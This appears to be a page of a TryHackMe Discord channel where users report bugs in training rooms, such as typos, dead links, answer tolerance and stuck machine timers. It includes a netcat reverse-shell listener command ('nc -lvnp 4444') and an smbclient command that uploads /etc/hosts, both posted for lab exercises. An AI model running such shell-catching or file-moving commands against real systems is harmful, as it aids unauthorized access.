#room-bugs | TryHackMe | Page 16

obsidian kiln Dec 9, 2020, 6:42 PM

#

Fixed 👍

honest crescent Dec 9, 2020, 6:46 PM

#

But room juiceshop is still full of hints etc.

#

📎 SPOILER_Screenshot_20201209-194831.jpg

twin tapir Dec 9, 2020, 6:54 PM

#

I believe that’s because cake originally made the room without a large walkthrough aspect then had to add in some hints and walkthroughs for answers as users were getting hung up on questions

honest crescent Dec 9, 2020, 6:59 PM

#

Ah

#

Okay

#

Makes sense, but it's easier than all other boxes if you followed the others

twin tapir Dec 9, 2020, 7:02 PM

#

It’s not meant to be hard

honest crescent Dec 9, 2020, 7:03 PM

#

Fair

languid hearth Dec 9, 2020, 9:37 PM

#

https://tryhackme.com/room/webgoat is this machine running the web server correctly?

TryHackMe

TryHackMe | WebGOAT

Simple testing room for beating on WebGOAT

eternal summit Dec 9, 2020, 9:37 PM

#

I think it just takes a long while to boot?

languid hearth Dec 9, 2020, 9:39 PM

#

not really

#

I waited 10 mins as it said on the taks

#

task*

#

PORT     STATE SERVICE  REASON  VERSION
8000/tcp open  http-alt syn-ack
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, RPCCheck, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 
|     Date: Wed, 09 Dec 2020 21:34:11 GMT
|     Connection: close
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.1 404 
|     Content-Length: 0
|     Date: Wed, 09 Dec 2020 21:34:10 GMT
|     Connection: close
|   RTSPRequest, Socks4, Socks5, X11Probe: 
|     HTTP/1.1 400 
|     Date: Wed, 09 Dec 2020 21:34:10 GMT
|_    Connection: close
|_http-title: Site doesn't have a title.

timber bone Dec 10, 2020, 1:19 AM

#

The hint for the first question of day 9 of AOC says this Recall how Linux indicates permissions to files and folders from Day 8! and i don't know if i'm blind but i didn't see nothing about file permissions in day 8

glad badger Dec 10, 2020, 1:40 AM

#

That hint can probably be removed for Day 9 Q1. I don't have it in my test notes as being there, so it is new. Thanks @timber bone

cold swallow Dec 10, 2020, 2:02 AM

#

is it bug ?

#

📎 unknown.png

eternal summit Dec 10, 2020, 2:02 AM

#

No

#

That's where the ARP comes from, not what it resolves to?

#

Maybe there are multiple IPs?

cold swallow Dec 10, 2020, 2:03 AM

#

ok will check

#

How would you describe that it is possible to use multiple IPs with the same mac address?

#

-Modem mac address?

eternal summit Dec 10, 2020, 2:11 AM

#

This is no longer relevant to room bugs

cold swallow Dec 10, 2020, 2:11 AM

#

Thx btw

naive eagle Dec 10, 2020, 5:39 AM

#

Yeah i get that part now, but the rest of the hydra section reads like a walkthrough with example commands, in which the json looks to be passed as form encoded, and I think it could be worth making a more prominent note about that fact that you might want to try specifying a content type header if your hydra run doesn't seem to be working, or something to that effect

frank light Dec 10, 2020, 8:30 PM

#

In the regex room
To match the IPv4 addresses
"(\d{1,3}.){3}\d{1,3}" got accepted as the correct answer
But it also accepts
01.01.01.01
999.999.999.999

#

Was the motive only to match IPs, not caring about the wrong ips?

#

I understand that creating the regex room is hard since you can accept only a single answer
Just wanted to clarify

eternal summit Dec 10, 2020, 8:32 PM

#

What task is that?

#

Match every possible IPv4 IP address

#

You do that

#

You match other things, but you match all of those

frank light Dec 10, 2020, 8:33 PM

#

It's in Task5

signal sleet Dec 10, 2020, 9:04 PM

#

Advent of Cyber 2
Day 7 Question 2
Answer will be : http.request.method == GET
Double equal is right but it taking correct answer on single equal

I'm not a pro on this things so if I'm wrong please pardon my mistakes.

📎 thm_day7_question2.png

fervent hearth Dec 10, 2020, 9:07 PM

#

In adventofcyber2 there is a spelling mistake in the question 4 of day 9 (task 14) the last word should say from but it says frm

eternal summit Dec 10, 2020, 9:09 PM

#

signal sleet Advent of Cyber 2 Day 7 Question 2 Answer will be : `http.request.method == GET`...

Answer tolerance.

wheat fractal Dec 10, 2020, 9:54 PM

#

Hey all, Fairly new to TryHackMe and trying the Kenobi room.
When I try to mount the NFS i'm getting: access denied by server while mounting 10.10.85.205:/var
Any ideas?

vocal zinc Dec 10, 2020, 9:58 PM

#

Sudo

eternal summit Dec 10, 2020, 9:59 PM

#

I don't think this is a bug

#

#room-help

wheat fractal Dec 10, 2020, 9:59 PM

#

I am running as root, before I tried with sudo and same results

#

Since the room gives the commands with screenshots, I'm pretty sure that's all supposed to work, but I can't connect to the NFS as it tells me to. Isn't that a bug?

eternal summit Dec 10, 2020, 10:00 PM

#

Go to the room help chats first

#

The room has not changed

#

99.9% change that it's user error, which is why I'm directing you there

wheat fractal Dec 10, 2020, 10:01 PM

#

ok, i'll ask there

mellow grail Dec 10, 2020, 10:39 PM

#

room : jvmreverseengineering > task 1 and task 5 image link doesn't work anymore

#

https://i.imgur.com/njK26FR.png

Imgur

#

https://i.binclub.dev/k7pwuots.png

real barn Dec 11, 2020, 12:04 AM

#

typo on /room/completebeginner "On the contrary, it's how actually learn to solve the problem."

safe plover Dec 11, 2020, 1:26 AM

#

There is a bug in the Advent of Cyber 2 room that doesn't let me Terminate the machine instance I've deployed

eternal summit Dec 11, 2020, 1:43 AM

#

????

safe plover Dec 11, 2020, 1:54 AM

#

When I press the Terminate button it doesn't terminate the instance, I checked "deploy" and "terminate" button in other rooms but it's only in AoC 2

📎 Screenshot_from_2020-12-10_20-30-43.png

north gyro Dec 11, 2020, 1:57 AM

#

refresh the page

safe plover Dec 11, 2020, 1:58 AM

#

When I do that, the instance still being there

north gyro Dec 11, 2020, 1:58 AM

#

do you want it deployed or terminated?

safe plover Dec 11, 2020, 1:59 AM

#

Terminated

north gyro Dec 11, 2020, 1:59 AM

#

after a refresh is the terminate button visible?

safe plover Dec 11, 2020, 1:59 AM

#

Yes

north gyro Dec 11, 2020, 2:00 AM

#

does clicking it terminate the instance?

safe plover Dec 11, 2020, 2:01 AM

#

The website say it was terminated, but when refreshing it is there again

north gyro Dec 11, 2020, 2:02 AM

#

does the instance have an expiry?

safe plover Dec 11, 2020, 2:04 AM

#

Yes, I've been waiting at least 40 min. The timer is close to zero but I reported the issue btw

north gyro Dec 11, 2020, 2:05 AM

#

try clearing your cookies, not sure if it will help, you will need to login again

safe plover Dec 11, 2020, 2:06 AM

#

Done

#

But the issue still there

north gyro Dec 11, 2020, 2:07 AM

#

must be in the backend

#

probably not much you can do

#

except wait

obsidian kiln Dec 11, 2020, 2:08 AM

#

Have a look at the scripts pinned in #resources

safe plover Dec 11, 2020, 2:08 AM

#

Yeah, that's what I thought

obsidian kiln Dec 11, 2020, 2:08 AM

#

Might be able to force a termination

north gyro Dec 11, 2020, 2:08 AM

#

try terminate(this) in the console

obsidian kiln Dec 11, 2020, 2:08 AM

#

#resources message

#

Nah, bit more complex than that

#

But we had some problems a while back

#

Szy came up with a bunch of useful little snippets -- just shove 'em into the dev console and it might solve the problem

north gyro Dec 11, 2020, 2:10 AM

#

nice

safe plover Dec 11, 2020, 2:11 AM

#

I did both and didn't worked, but the room expire time is 4 min

north gyro Dec 11, 2020, 2:11 AM

#

coffee time?

safe plover Dec 11, 2020, 2:12 AM

#

Jajaj maybe tea, coffee ruin my sleep. It's 21:12 here

#

Thank you both btw

north gyro Dec 11, 2020, 2:12 AM

#

np

safe plover Dec 11, 2020, 2:16 AM

#

This is worst

📎 Screenshot_from_2020-12-10_21-16-13.png

#

It's stuck

eternal summit Dec 11, 2020, 2:18 AM

#

@lucid oasis super sorry if you're asleep, but any idea?

north gyro Dec 11, 2020, 2:21 AM

#

oh no negative numbers

safe plover Dec 11, 2020, 2:22 AM

#

Does the AoC 2 machine respond to ping? Because the initial purpose of teminating it was because trying to enumerate smb users and it didn't work

eternal summit Dec 11, 2020, 2:22 AM

#

There's no single AoC2 machine

safe plover Dec 11, 2020, 2:22 AM

#

Day 10 sorry

north gyro Dec 11, 2020, 2:24 AM

#

might sound dumb but try adding an hour

safe plover Dec 11, 2020, 2:24 AM

#

Actually, now the instance disappeared

north gyro Dec 11, 2020, 2:25 AM

#

ninja probably did something

safe plover Dec 11, 2020, 2:25 AM

#

In that case, thank you @eternal summit

eternal summit Dec 11, 2020, 2:25 AM

#

north gyro ninja probably did something

No

#

Discord moderators are discord moderators

#

Not site staff

north gyro Dec 11, 2020, 2:26 AM

#

well it either died by itself or someone killed it

#

dont know which

safe plover Dec 11, 2020, 2:27 AM

#

Hahahah well, now I'm afraid of deploy it again. Buy thank you very much for the help

north gyro Dec 11, 2020, 2:27 AM

#

sounds like its good to go again

#

lightning never strikes twice?

safe plover Dec 11, 2020, 2:29 AM

#

Hahaha literally that happened to someone, I think I heard about that lightning sfuff

north gyro Dec 11, 2020, 2:30 AM

#

yeah, some people are lightning rods

#

i had lightning strike a tree like 100 meters away and i hit the deck like a bomb was going off

safe plover Dec 11, 2020, 2:34 AM

#

Well, this is not the case. The deployed machine have been terminated successfully

#

Good night, and thank you everyone that helped me

primal shadow Dec 11, 2020, 7:39 AM

#

In AoC2 Day 10: I think there's a typo:

why not give a few others a try and apply your knowledge in the "Kenobi" Capture the Flag (CTF) or the "Anonymous" (Walkthrough)
Isn't Anonymous the CTF and Kenobi the Walkthrough?

obsidian kiln Dec 11, 2020, 10:33 AM

#

@dusky junco

dusky junco Dec 11, 2020, 10:34 AM

#

Whoops!

#

😄

stable falcon Dec 11, 2020, 11:01 AM

#

I'm not sure if this is a bug or if I'm just being dumb, but I've been having trouble using enum4linux in the Basic Pentesting room, using the same command John Hammond shows on his walk-through video.
I'm getting an error along the lines of 'Used uninitialized value $user' (I'll send through an image). It worked fine with today's Advent of Cyber task though, which is leading me to believe it's something that's changed in the Basic Pentesting box.

#

📎 enum.jpg

obsidian flame Dec 11, 2020, 11:02 AM

#

hmm, try rebooting the box and see if the same happens @stable falcon

stable falcon Dec 11, 2020, 11:02 AM

#

I've rebooted a couple of times, it still gives me the same error

obsidian flame Dec 11, 2020, 11:03 AM

#

hmm, what do you get when you run enum4linux IP with no switches?

#

my sub expired today otherwise i would've checked for you 😦

ripe magnet Dec 11, 2020, 11:05 AM

#

it's a free room iirc

obsidian flame Dec 11, 2020, 11:06 AM

#

yeah, but i don't have a VM as i am on my work laptop

stable falcon Dec 11, 2020, 11:07 AM

#

it seems to find the shares, but it's still got the same uninitialized value $user error, and gives 'unknown' for all the users in the RID cycling section

#

no worries!

obsidian flame Dec 11, 2020, 11:08 AM

#

i can have a look at this in an hour or so for you. otherwise if anyone else is willing to have a look over it i don't mind

stable falcon Dec 11, 2020, 11:08 AM

#

thank you!

obsidian flame Dec 11, 2020, 11:09 AM

#

no worries, i do apologise for not being able to lend a hand as of now

ripe magnet Dec 11, 2020, 11:09 AM

#

@stable falcon DM me

ripe magnet Dec 11, 2020, 11:32 AM

#

Note: We uninstalled and reinstalled enum4linux, and tried the command without switch, still not working. It worked for him on the AoC2 challenge
I'm letting someone more competent than me help him

frail vigil Dec 11, 2020, 1:07 PM

#

stable falcon

can you pls include the commands you ran in your screenshots?

calm socket Dec 11, 2020, 1:33 PM

#

Hi ! I have an issue with the flags validation for « All in One » room. I pwned the box and have the two flags but they seems to not working. Is anyone here who had the same problem ?

mellow grail Dec 11, 2020, 3:05 PM

#

typo in room https://tryhackme.com/room/lle
task 4 → https://i.imgur.com/dTAWad9.png

Imgur

indigo orchid Dec 11, 2020, 3:16 PM

#

Can any admins look into this one please?
In https://tryhackme.com/room/ccpentesting, task 21, smbclient, last question - In the interactive prompt, how would you upload your /etc/hosts file? when I type the answer put /etc/hosts and submit, BitDefender Total Security blocks the request or something and gives me a notification saying

Online Threat Prevention
An attempt to access your files from an external source was made by {IP address}. We blocked the connection to prevent remote code execution on your device.

and I get Uh-oh! undefined pop up on THM website.

eternal summit Dec 11, 2020, 3:18 PM

#

Bitdefender gets false positives when you use /etc/hosts or /etc/passwd @indigo orchid

#

You're on windows

#

You don't have those files

#

Bit defender is lying to you.

indigo orchid Dec 11, 2020, 3:19 PM

#

lol

#

i feel stupid now

#

thanks btw!

glacial tree Dec 11, 2020, 7:02 PM

#

Not exactly a bug, but I don't know where to post this.
AoC Day 11's learning objectives are wrong, it is duplicated from Day 8.

hazy tiger Dec 11, 2020, 7:14 PM

#

@dusky junco ?

dusky junco Dec 11, 2020, 7:19 PM

#

Ah shoot — I’ll get to that when I get to my PC on a hour or so

wheat fractal Dec 11, 2020, 7:50 PM

#

Man

#

This must be a pretty big typo 😆

fast bobcat Dec 11, 2020, 7:53 PM

#

Hi there!

I've found some things in the current Advent of Cyber 2 room.
I'm not sure in the first two, but for me it seems logical this way.

In Day7 There is a text that says: "It's 6 AM and Elf McSkidy is clocking-in to..." I think it should be McEager, since the later part of the text suggests that way. "After logging in, Elf McEager proceeds..."

In Day10:
The first sentence in 10.3: "Whilst we learnt about one of the most commonplace protocols that are used for file-sharing on Day 10..." I thinks it refers to day 9.

In Day11: "Let's exploit a local copy of a DVWA (DamnVulernable Web App" It's just missing the closing bracket and the letter 'n' from vulnerable

wheat fractal Dec 11, 2020, 7:54 PM

#

Oh thank god

#

Nothing related to me

#

You get to live @fast bobcat

fast bobcat Dec 11, 2020, 7:54 PM

#

and in the 11.11 Covering our Tracks there is the"/var/log/<service/" <- missing a closing '>'

civic brook Dec 11, 2020, 7:55 PM

#

Most of the task and room creators are not doing this full time and are volunteers, spelling and grammar mistakes are bound to occur

fast bobcat Dec 11, 2020, 7:55 PM

#

wheat fractal You get to live <@313053787067777036>

That's very good! 🙂

fast bobcat Dec 11, 2020, 7:56 PM

#

civic brook Most of the task and room creators are not doing this full time and are voluntee...

Of course i understand it, I just wanted to point out (because I'm proud of finding them) 😉 And for me personally I really hate if I make a typo despite the fact that it occurs many times

eternal summit Dec 11, 2020, 7:59 PM

#

civic brook Most of the task and room creators are not doing this full time and are voluntee...

It's still important to report them so that they're fixed

dusky junco Dec 11, 2020, 8:28 PM

#

fast bobcat Hi there! I've found some things in the current Advent of Cyber 2 room. I'm not...

Thank you for reporting these. I’ll get them fixed when I’m next at a PC (:

keen gate Dec 11, 2020, 11:17 PM

#

Doing vulnversity and, um... ||Ubuntu|| is not an operating system 😂

green steppe Dec 11, 2020, 11:18 PM

#

yes it is

#

📎 unknown.png

eternal summit Dec 11, 2020, 11:20 PM

#

xD

keen gate Dec 11, 2020, 11:20 PM

#

spinthink

#

I thought GNU was the OS, Linux was the kernel, and Ubuntu was the distro... but thinking about it, I guess you could call the distro an OS in the sense that the whole package does contain/is an OS.

eternal summit Dec 11, 2020, 11:22 PM

#

Linux (/ˈlinʊks/ (About this soundlisten) LEEN-uuks or /ˈlɪnʊks/ LIN-uuks[9]) is a family of open-source Unix-like operating systems based on the Linux kernel,[10] an operating system kernel first released on September 17, 1991, by Linus Torvalds.[11][12][13] Linux is typically packaged in a Linux distribution.

#

You can have non GNU linux

green steppe Dec 11, 2020, 11:23 PM

#

Hold up do I have a copypasta for you

#

I'd just like to interject for a moment. What you're referring to as Linux, is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.

Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called "Linux", and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.

There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called "Linux" distributions are really distributions of GNU/Linux.

keen gate Dec 11, 2020, 11:23 PM

#

ohai RMS when did you get here

green steppe Dec 11, 2020, 11:23 PM

#

Wait

#

Discord is not open source?

#

Deleting my account brb

frail vigil Dec 12, 2020, 12:24 AM

#

Get the response copy pasta as well 😄

flat timber Dec 12, 2020, 5:22 PM

#

https://tryhackme.com/room/introtoresearch Unable to load images, are the images inaccessible to anyone else as well, shows broken links to me

eternal summit Dec 12, 2020, 5:24 PM

#

@obsidian kiln rip your domain

obsidian kiln Dec 12, 2020, 5:37 PM

#

Oh for the love of. Not again

#

Gimme a sec @flat timber

#

I think that was the only one I did pre-imgur days

#

I really should just set up an assets subdomain

#

Is that fixed now @flat timber?

flat timber Dec 12, 2020, 5:52 PM

#

obsidian kiln Is that fixed now <@!621678150992265242>?

@obsidian kiln yes everything working fine now, Thanks a tonne for that quick fix. 🙇

solemn topaz Dec 12, 2020, 8:55 PM

#

Hi guys, room https://tryhackme.com/room/linuxstrengthtraining
Task4: missing IP placeholder

📎 unknown.png

lofty pilot Dec 13, 2020, 8:38 AM

#

I think this is right channel to report
In the Breakit room,
https://tryhackme.com/room/breakit
Pastebin links for task 1 and 2 were not available or expired.

dusky junco Dec 13, 2020, 10:49 AM

#

Hey thanks! Yes this is the right place

#

That's a Deskel room who unfortunately is no longer on the platform

#

as it's only for two questions, I'll remove the questions that require the pastebin links so that the rest of the room can be kept public

#

thanks (:

lofty pilot Dec 13, 2020, 11:18 AM

#

Power to Deskel
Fortunately I found text in writeup Deskel uploaded.
If you may, please update pastebin with task string from here https://web.archive.org/web/20200812230037/https://www.embeddedhacker.com/2019/09/hacking-walkthrough-thm-break-it/
Thanks

hazy tiger Dec 13, 2020, 11:38 AM

#

Hi @lofty pilot
Deskel has moved to github https://deskel.github.io/

All writeups can be found on there :)
Hope this helps.

dusky junco Dec 13, 2020, 11:42 AM

#

Ah that's a wicked find @lofty pilot Thanks for managing to dig that out! That's even better

#

I'll replace the tasks with the text. Wicked stuff

lofty pilot Dec 13, 2020, 12:30 PM

#

Thanks @hazy tiger , awesome content

#

Sure @dusky junco , I like rooms created by deskel
Hope someday ctf 100 comes live again

tiny ginkgo Dec 13, 2020, 2:30 PM

#

Typo in AOC2 Day 12's last question's hint alert.

📎 SPOILER_Screenshot_from_2020-12-13_19-57-34.png

flat timber Dec 13, 2020, 8:02 PM

#

@green steppe I was going through one of your pages, and was trying to access this link https://tryhackme.com/room/zthlinux but it showed that room is private. Is it that the room is no longer present or something ?

lunar vortex Dec 13, 2020, 8:24 PM

#

@eternal summit The port generated for Looking Glass is nonexistent, it's apparently between two ports that respond "higher" and "lower" respectively, so I'm stuck

#

just gonna restart it, but that should be fixed

eternal summit Dec 13, 2020, 8:29 PM

#

It's not gonna be touched

#

Seeing as it's impossible

#

Autogen boxes are a pain to work with

#

Yeah it's not mathematically possible for it to fail that way

molten pagoda Dec 13, 2020, 11:33 PM

#

Not sure if its just my setup but on internal the address internal.thm doesnt resolve makes doing the room interesting.

obsidian kiln Dec 13, 2020, 11:40 PM

#

molten pagoda Not sure if its just my setup but on internal the address internal.thm doesnt re...

It's your setup.

#

There's no name resolution on the THM network -- mainly because each box could be deployed several times on the same subnet by different people

#

With that in mind, how do you think you could get it to resolve?

honest crescent Dec 14, 2020, 1:14 AM

#

Apparently some rooms have in /etc/ folders with the dot files for the users IIRC. This I noticed a bit ago when doing a Linux VIP room where you had to read a user's files and I wasn't sure where to look. But these files also contain the flags...

#

I'm not sure if it's configurable with a cron job to make them unable to be read and if the dot files are removed it reinstates them with original perms, but maybe it could be useful. Not sure if it's a bug or a feature though

molten pagoda Dec 14, 2020, 3:41 AM

#

obsidian kiln With that in mind, how do you think you could get it to resolve?

Oh nah I can use the ip. Its just all the links on the wordpress page point to internal.thm/login etc so when I am clicking around its super annoying. I am not sure if the box is meant to bind the ip when its deployed?

obsidian kiln Dec 14, 2020, 3:42 AM

#

No. As I said, what can you do locally to resolve it

#

Because that's what you're meant to be doing

molten pagoda Dec 14, 2020, 3:42 AM

#

oh

obsidian kiln Dec 14, 2020, 3:43 AM

#

Does the "hosts" file mean anything?

molten pagoda Dec 14, 2020, 3:43 AM

#

Ah I thought it was just a bad set up haha

#

Ok so dns records

#

all good haha

obsidian kiln Dec 14, 2020, 3:43 AM

#

Nah, no DNS

molten pagoda Dec 14, 2020, 3:45 AM

#

Ah yeah sorry just what I mean is hosts so it doesnt use dns

#

I think.

#

but If there is something to do there then all good I will figure it out

flat timber Dec 14, 2020, 7:43 AM

#

flat timber <@!253088742821068801> I was going through one of your pages, and was trying to ...

Please let me know, if its a bad link or that the room is not available anymore.
Awaiting your response.

viral cobalt Dec 14, 2020, 7:45 AM

#

flat timber <@!253088742821068801> I was going through one of your pages, and was trying to ...

try joining with https://tryhackme.com/jr/zthlinux

TryHackMe

TryHackMe | Cyber Security Training

An online platform for learning and teaching cyber security, all through your browser.

flat timber Dec 14, 2020, 7:46 AM

#

viral cobalt try joining with https://tryhackme.com/jr/zthlinux

Thanks, maybe the link through mod bee's help blog was broken.

viral cobalt Dec 14, 2020, 7:47 AM

#

we'll have to assault Pars with questions why the room is private :P he probably got tired of all the shiba1 questions

dusky junco Dec 14, 2020, 8:08 AM

#

It's been made private as it has been split into three seperate rooms (:

#

📎 unknown.png

latent terrace Dec 14, 2020, 11:35 AM

#

Has anyone ever addressed/enquired about the fact that the OWASP Top 10 - XXE box(Task 12) is sorta not really XXE?

After reading the code behind the flask app, it sort of feels a bit off. Its great the text covers the concepts and so forth, but after going through the lab and so forth, i accessed the box and red the code XXE.py to see if i could understand the issue from that side, but it lead me to the conclusion that the app just looks for specific elements and then throws the output (which after testing is validted)

twin bay Dec 14, 2020, 11:54 AM

#

Adventofcyber2 - Day 12 - Hint on the final task - Minor typo

Metasploit has post exploit suggestion scripts that may show your the "PATH"

latent terrace Dec 14, 2020, 12:44 PM

#

owasptop10 - [Severity 8] Insecure Deserialization - Cookies Practical
Not sure if this is actually considered a bug, but the /admin panel dosnt actually validate/check if the usertype cookie is set to admin.

signal shore Dec 14, 2020, 5:39 PM

#

@tough linden ~~Possible issue with windows10privesc room, task 9. AutoAdminLogon is set to 0. According to Microsoft documentation, AutoAdminLogon sets itself to 0 if no DefaultPassword was provided. https://docs.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/turn-on-automatic-logon~~ I managed to get it to work by guessing the password. Based on my understanding of the task, the password should have been present in the registry, but I could not locate it.

📎 AutoLogonIssue.PNG

wheat fractal Dec 14, 2020, 8:33 PM

#

https://tryhackme.com/room/linuxstrengthtraining
Task 5: the example base2 to base10 has an error: 01111111 is not 128 but 127, something that I knew right away because 128 is 2 to the power of 7, and that means that you would need to start a new bit, like this: 10000000

TryHackMe

TryHackMe | Linux Strength Training

Guided room for beginners to learn/reinforce linux command line skills

indigo orchid Dec 14, 2020, 9:53 PM

#

In Nmap room, Task 9 -
https://tryhackme.com/room/furthernmap
How would you perform a ping sweep on the 172.16.x.x network (Netmask: 255.255.0.0) using Nmap? (CIDR notation)

It accepted 172.16.0.0/18 in the answer while it should have only accepted 172.16.0.0/16.

eternal summit Dec 14, 2020, 9:55 PM

#

Answer tolerance

#

Not exactly a room bug. Just a site bug

indigo orchid Dec 14, 2020, 9:55 PM

#

ohh okay, just thought I should put it here since I am going through that room

dusky junco Dec 14, 2020, 10:05 PM

#

latent terrace owasptop10 - [Severity 8] Insecure Deserialization - Cookies Practical ...

Hey thanks for reporting, yes this is on my to fix list after AoC / in the new year (: thanks!

dawn rover Dec 15, 2020, 7:02 AM

#

Room : https://tryhackme.com/room/ccpentesting

Accepted a wrong answer.

📎 VirtualBox_Kali_15_12_2020_12_30_12.png

TryHackMe

TryHackMe | CC: Pen Testing

A crash course on various topics in penetration testing

#

Section 3 - Metasploit Setting up

#

The correct answer is - set SMBUser password

north gyro Dec 15, 2020, 7:12 AM

#

@tribal dirge there is a 1 character tolerance sometimes

vivid bane Dec 15, 2020, 7:17 AM

#

dawn rover Room : https://tryhackme.com/room/ccpentesting Accepted a wrong answer.

Solve many rooms in future you will find you can submit a character less or more in hashes and long strings sometimes

dawn rover Dec 15, 2020, 7:17 AM

#

Alright got it

#

thanks

dawn rover Dec 15, 2020, 7:23 AM

#

north gyro <@!719952440530567240> there is a 1 character tolerance sometimes

actually when you submit the answer it takes a sec to get updated to " Correct Answer" and in that second anything you enter after the correct answer gets accepted

north gyro Dec 15, 2020, 7:24 AM

#

so if you enter the correct answer then quickly change it, it accepts the wrong answer?

dawn rover Dec 15, 2020, 7:50 AM

#

Yes exactly

hazy tiger Dec 15, 2020, 7:50 AM

#

No, it just displays the wrong answer, it doesn’t accept it

#

If you refresh, the answer will change to the correct one.

dawn rover Dec 15, 2020, 7:51 AM

#

Oh right yea

kind knot Dec 15, 2020, 9:00 AM

#

Hello, something weird keeps happening in the Advent of Cyber room I'm in. Every time I deploy a machine after some time, I get the message that the machine is about to expire yet the banner shows like 30 minutes left.

#

Then after a couple minutes, I get the message that the machine has expired.

#

yet when I refresh the page, the machine is still up

crude current Dec 15, 2020, 2:04 PM

#

Hi. I got stuck on Room: networkservices2 Task 9 Question 4: When listing options I only see SQL, RPORT, RHOSTS as required. But the answer should be different. I have no idea what I am missing. Any help is highly appreciated.

civic brook Dec 15, 2020, 2:16 PM

#

@obsidian kiln your OWL images links are all broke in the writeup

obsidian kiln Dec 15, 2020, 2:16 PM

#

In the writeup on my own blog?

#

@civic brook?

#

📎 unknown.png

#

Loading fine for me

civic brook Dec 15, 2020, 2:17 PM

#

go to snmp

obsidian kiln Dec 15, 2020, 2:17 PM

#

📎 unknown.png

#

That's after a cache dump as well

#

What's it showing you?

civic brook Dec 15, 2020, 2:18 PM

#

📎 unknown.png

obsidian kiln Dec 15, 2020, 2:18 PM

#

What's the link pointing at?

civic brook Dec 15, 2020, 2:19 PM

#

https://muirlandoracle.co.uk/uploads/2020/09/image-56.png

obsidian kiln Dec 15, 2020, 2:19 PM

#

Could you do a hard refresh for me?

#

As in Ctrl + F5

civic brook Dec 15, 2020, 2:19 PM

#

working now

obsidian kiln Dec 15, 2020, 2:19 PM

#

Perfect 👍

#

I had some htaccess problems a week or so ago which caused a bunch of that, but they're all pointing to the right place here now, so it shouldn't be a problem

civic brook Dec 15, 2020, 2:20 PM

#

I thought it was that same, I didn't think I had it up that long though

obsidian kiln Dec 15, 2020, 2:21 PM

#

Could potentially have served you a cached version if you'd looked at it previously

#

I have no idea what the cache times are for that thing

merry merlin Dec 15, 2020, 3:09 PM

#

Hi, in "What the Shell?" room, it seems even though you have 2h timer on windows machine, it expires after 1 hour. Or did i killed it twice in same time? 🙂

eternal summit Dec 15, 2020, 3:11 PM

#

Probably the site bug with windows machines

latent vessel Dec 15, 2020, 6:25 PM

#

There is a bug for the deployment of machine. Machine is deployed but after certain seconds it says ur machine is expiring soon but when I refresh the page it is not so. Please look into the issue

eternal summit Dec 15, 2020, 6:29 PM

#

@latent vessel Not a room bug, #site-bugs

latent vessel Dec 15, 2020, 6:29 PM

#

I think it is a issue

#

Not a bug

eternal summit Dec 15, 2020, 6:30 PM

#

@latent vessel it's not a bug with a specific room

#

This channel is for bugs with specific rooms

#

Not site bugs

latent vessel Dec 15, 2020, 6:31 PM

#

I think it shows me weird things that's why

eternal summit Dec 15, 2020, 6:32 PM

#

This is the wrong channel. Do you understand? Please repost it in #site-bugs @latent vessel

latent vessel Dec 15, 2020, 6:32 PM

#

Ok sorry

soft crane Dec 15, 2020, 7:55 PM

#

wasptop10 - [Severity 8] Insecure Deserialization - Code Execution
nc -lvnp 4444

#

Listening on 0.0.0.0 4444

nova marsh Dec 15, 2020, 9:27 PM

#

It seem that in Windows PrivEsc room (https://tryhackme.com/room/windows10privesc), in task 9, password can be found by querying HKU or HKCU instead HKLM as it is provided in task. 🤔

orchid cedar Dec 16, 2020, 3:40 AM

#

are there like forums or something where you can see what people did in response to things that seem messed up ? like in the burp suite room, how it says "Let's first take a look at decoder by revisiting an old friend. Previously we discovered the scoreboard within the site JavaScript. Return to our target tab and find the API endpoint highlighted in the following request:" ---and the site JavaScript and "scoreboard" etc none of this has been mentioned in the room i have no idea wtf it's talking about

eternal summit Dec 16, 2020, 3:41 AM

#

Yes there are forums, but this isn't a room bug.

orchid cedar Dec 16, 2020, 3:44 AM

#

great thanks

plucky jay Dec 16, 2020, 8:40 AM

#

Hey y'all. The new room https://tryhackme.com/room/linuxstrengthtraining references to another room(https://tryhackme.com/room/zthlinux) in the introduction. But, this room seems private.

#

📎 SPOILER_2020-12-16_09_40_12-TryHackMe___Learn_Linux_-_Opera.png

hazy tiger Dec 16, 2020, 8:48 AM

#

It should be https://tryhackme.com/room/linux1 and https://tryhackme.com/room/linux2

mossy zinc Dec 16, 2020, 9:27 AM

#

hey guys, just found out that the link provided in the Day 15 about scripting redirect to a private video on youtube

#

the link should be https://www.youtube.com/watch?v=lvcZRKO-B20 and not https://www.youtube.com/watch?v=My9QW0IdaRg

YouTube

DarkSec

TryHackMe Advent of Cyber 2: Day 15

Play Advent of Cyber 2: https://tryhackme.com/christmas

TryHackMe Official Discord: https://discord.gg/tryhackme
TryHackMe Room: https://tryhackme.com/room/adventofcyber2
Thumbnail Design by Varg: https://twitter.com/Vargnaar

John Hammond's Channel: https://www.youtube.com/user/RootOfTheNull

TryHackMe Intro to Python Room: https://tryhackme...

▶ Play video

topaz thorn Dec 16, 2020, 9:30 AM

#

He was aware and the video is up

mossy zinc Dec 16, 2020, 9:36 AM

#

do you mean this one ? https://www.youtube.com/watch?v=My9QW0IdaRg

merry merlin Dec 16, 2020, 9:36 AM

#

Hi, AttackerKB room should have hostname in certificate, but it is nowhere to be find. Darkstar skipped this one in his video as well 🙂

topaz thorn Dec 16, 2020, 9:37 AM

#

mossy zinc do you mean this one ? https://www.youtube.com/watch?v=My9QW0IdaRg

https://youtu.be/lvcZRKO-B20

YouTube

DarkSec

TryHackMe Advent of Cyber 2: Day 15

Play Advent of Cyber 2: https://tryhackme.com/christmas

TryHackMe Official Discord: https://discord.gg/tryhackme
TryHackMe Room: https://tryhackme.com/room/adventofcyber2
